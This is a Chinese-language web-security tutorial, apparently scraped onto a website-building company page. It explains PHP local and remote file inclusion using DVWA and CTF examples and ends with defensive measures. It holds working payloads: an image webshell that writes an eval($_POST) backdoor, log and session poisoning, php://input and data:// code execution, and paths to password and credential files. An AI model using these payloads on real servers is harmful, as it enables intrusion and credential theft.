网站是怎么制作出来的wordpress采集mp4
2026/1/11 16:16:08 网站建设 项目流程
网站是怎么制作出来的,wordpress采集mp4,宣传网站建设的步骤,自适应网站举例一、前言 今天主要给大家讲解一下什么是文件包含漏洞、本地文件包含漏洞 喜欢的朋友们#xff0c;记得给我点赞支持和收藏一下#xff0c;关注我#xff0c;学习黑客技术。一、什么是文件包含漏洞 1.文件包含漏洞概述 和SQL注入等攻击方式一样#xff0c;文件包含漏洞也是一…一、前言今天主要给大家讲解一下什么是文件包含漏洞、本地文件包含漏洞喜欢的朋友们记得给我点赞支持和收藏一下关注我学习黑客技术。一、什么是文件包含漏洞1.文件包含漏洞概述和SQL注入等攻击方式一样文件包含漏洞也是一种注入型漏洞其本质就是输入一段用户能够控制的脚本或者代码并让服务端执行。什么叫包含呢以PHP为例我们常常把可重复使用的函数写入到单个文件中在使用该函数时直接调用此文件而无需再次编写函数这一过程叫做包含。有时候由于网站功能需求会让前端用户选择要包含的文件而开发人员又没有对要包含的文件进行安全考虑就导致攻击者可以通过修改文件的位置来让后台执行任意文件从而导致文件包含漏洞。以PHP为例,常用的文件包含函数有以下四种include()require()include_once()require_once()区别如下:require():找不到被包含的文件会产生致命错误并停止脚本运行include():找不到被包含的文件只会产生警告脚本继续执行require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含则不会再次包含include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含则不会再次包含2.漏洞成因分析我们先直接来看一个简单的例子网页代码如下:?php include $_GET[test]; ?在创建一个phpinfo.php页面代码如下:?php phpinfo(); ?利用文件包含我们通过include函数来执行phpinfo.php页面成功解析将phpinfo.php文件后缀改为txt后进行访问依然可以解析:将phpinfo.php文件后缀改为jpg格式也可以解析:可以看出include()函数并不在意被包含的文件是什么类型只要有php代码都会被解析出来。在上一期的文件上传漏洞的总结中我们上传了一个jpg格式的一句话木马如果网站有文件包含漏洞jpg文件就可以被当做php文件解析所以这就是文件上传漏洞通常配合文件上传使用。现在我们将phpinfo.jpg的内容改成一段文字:hello world!再次进行访问可以读出文本内容利用这个特性我们可以读取一下包含敏感信息的文件。二、本地文件包含漏洞(LFI)能够打开并包含本地文件的漏洞我们称为本地文件包含漏洞(LFI)测试网页包含如下代码:?php $file$_GET[filename]; include($file); ?网站利用文件包含功能读取一些php文件例如phpinfo:利用该代码我们可以读取一些系统本地的敏感信息。例如:C:\Windows\system.ini文件。1使用绝对路径使用绝对路径直接读取:2使用相对路径进行读取通过./表示当前位置路径…/表示上一级路径位置在linux中同样适用。例如当前页面所在路径为C:\Apache24\htdocs\我们需要使用…/退到C盘再进行访问构造路径如下../../windows/system.ini由于我的环境搭建在D盘所以这里就不做演示了。3一些常见的敏感目录信息路径:Windows系统:C:\boot.ini //查看系统版本C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件C:\windows\repair\sam //存储Windows系统初次安装的密码C:\ProgramFiles\mysql\my.ini //Mysql配置C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码C:\windows\php.ini //php配置信息Linux/Unix系统:/etc/password //账户信息/etc/shadow //账户密码信息/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置/usr/local/app/php5/lib/php.ini //PHP相关配置/etc/httpd/conf/httpd.conf //Apache配置文件/etc/my.conf //mysql配置文件三、LFI漏洞利用技巧1.配合文件上传使用有时候我们找不到文件上传漏洞无法上传webshell可以先上传一个图片格式的webshell到服务器再利用本地文件包含漏洞进行解析。以DVWA平台为例将Security Level选择low编辑一个图片马内容如下:?php fwrite(fopen(shell.php,w),?php eval($_POST[123]);?); ?找到上传点进行上传文件保存的完整路径为DVWA平台low等级文件包含漏洞页面如下该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件代码如下现在我们利用该页面去执行我们上传的图片马构造URL如下代码成功解析我这里使用的phpinfo进行测试实战直接替换为上述所写的一句话木马即可。注我们也可以直接在webshell.jpg中写一句话木马然后再通过文件包含漏洞去连接webshell.jpg但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式生成一个.php格式的一句话木马再去连接。2.包含Apache日志文件有时候网站存在文件包含漏洞但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。利用条件对日志文件可读知道日志文件存储目录注意一般情况下日志存储目录会被修改需要读取服务器配置文件或者根据phpinfo中的信息来得知日志记录的信息都可以被调整比如记录报错的等级或者内容格式在用户发起请求时服务器会将请求写入access.log当发生错误时将错误写入error.log日志文件如下:当我们正常访问一个网页时如http://127.0.0.1/phpinfo.phpaccess日志会进行记录如下图所示:如果我们访问一个不存在的资源也一样会进行记录例如访问127.0.0.1?php phpinfo();?网页会显示403但查看日志会发现被成功记录但被编码了如下:我们再次进行访问并使用burp抓包发现被编码我们将报文修改回去再进行发送即可此时再查看access日志正确写入php代码再通过本地文件包含漏洞访问即可执行我们可以在此处写入一句话木马再使用webshell管理工具进行连接。3.包含SESSION文件可以先根据尝试包含到SESSION文件在根据文件内容寻找可控变量在构造payload插入到文件中最后包含即可。利用条件:找到Session内的可控变量Session文件可读写并且知道存储路径php的session文件的保存路径可以在phpinfo的session.save_path看到。session常见存储路径:/var/lib/php/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSIDsession文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。相关案例可以查看这道CTF题一道CTF题PHP文件包含4.包含临时文件php中上传文件会创建临时文件。在linux下使用/tmp目录而在windows下使用C:\windows\temp目录。在临时文件被删除前可以利用时间竞争的方式包含该临时文件。由于包含需要知道包含的文件名。一种方法是进行暴力猜解linux下使用的是随机函数有缺陷而windows下只有65535种不同的文件名所以这个方法是可行的。另一种方法是配合phpinfo页面的php variables可以直接获取到上传文件的存储路径和临时文件名直接包含即可。这个方法可以参考LFI With PHPInfo Assistance类似利用临时文件的存在竞争时间去包含的可以看看这道CTF题 XMAN夏令营-2017-babyweb-writeup四、远程文件包含(RFI)如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话则include/require函数是可以加载远程文件的这种漏洞被称为远程文件包含(RFI)首先我们来看一段代码?php $path$_GET[path]; include($path . /phpinfo.php); ?访问本地site目录下的phpinfo.php文件:该页面并没有对$path做任何过滤因此存在文件包含漏洞。我们在远端Web服务器/site/目录下创建一个test.php文件内容为phpinfo()利用漏洞去读取这个文件。但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀如果php版本小于5.3.4我们可以尝试使用%00截断这里php版本为7.3.4不适用。还有一种截断方法就是?号截断在路径后面输入?号服务器会认为?号后面的内容为GET方法传递的参数成功读取test.php如下如果test.php是恶意的webshell文件那么利用该漏洞就可以获取到服务器权限。五、PHP伪协议PHP内置了很多URL风格的封装协议可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数如下所示1.file://协议file:// 用于访问本地文件系统在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响file:// [文件的绝对路径和文件名]2.php://协议php:// 访问各个输入/输出流I/O streams在CTF中经常使用的是php://filter和php://inputphp://filter用于读取源码。php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出不然会直接当做php代码执行就看不到源代码内容了。利用条件:allow_url_fopen off/onallow_url_includeoff/on例如有一些敏感信息会保存在php文件中如果我们直接利用文件包含去打开一个php文件php代码是不会显示在页面上的例如打开当前目录下的2.php:他只显示了一条语句这时候我们可以以base64编码的方式读取指定文件的源码:输入php://filter/convert.base64-encode/resource文件路径得到2.php加密后的源码再进行base64解码获取到2.php的完整源码信息php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时可以将参数设为php://input,同时post想设置的文件内容php执行时会将post内容当作文件内容。从而导致任意代码执行。利用条件:allow_url_fopen off/onallow_url_includeon利用该方法我们可以直接写入php文件输入filephp://input然后使用burp抓包写入php代码发送报文可以看到本地生成了一句话木马3.ZIP://协议zip:// 可以访问压缩包里面的文件。当它与包含函数结合时zip://流会被当作php文件执行。从而实现任意代码执行。zip://中只能传入绝对路径。要用#分割压缩包和压缩包里的内容并且#要用url编码成%23(即下述POC中#要用%23替换只需要是zip的压缩包即可后缀名可以任意更改。相同的类型还有zlib://和bzip2://利用条件:allow_url_fopen off/onallow_url_includeoff/onPOC为zip://[压缩包绝对路径]#[压缩包内文件]?filezip://D:\1.zip%23phpinfo.txt4.data://协议data:// 同样类似与php://input可以让用户来控制输入流当它与包含函数结合时用户输入的data://流会被当作php文件执行。从而导致任意代码执行。利用data:// 伪协议可以直接达到执行php代码的效果例如执行phpinfo()函数利用条件:allow_url_fopen onallow_url_includeonPOC为:data://text/plain,?php phpinfo();? //如果此处对特殊字符进行了过滤我们还可以通过base64编码后再输入 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz45.伪协议利用条件伪协议的利用方法还有很多这里就不一一举例了。伪协议的用法小结六、文件包含漏洞防护1、使用str_replace等方法过滤掉危险字符2、配置open_basedir防止目录遍历open_basedir 将php所能打开的文件限制在指定的目录树中3、php版本升级防止%00截断4、对上传的文件进行重命名防止被读取5、对于动态包含的文件可以设置一个白名单不读取非白名单的文件。6、做好管理员权限划分做好文件的权限管理allow_url_include和allow_url_fopen最小权限化网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询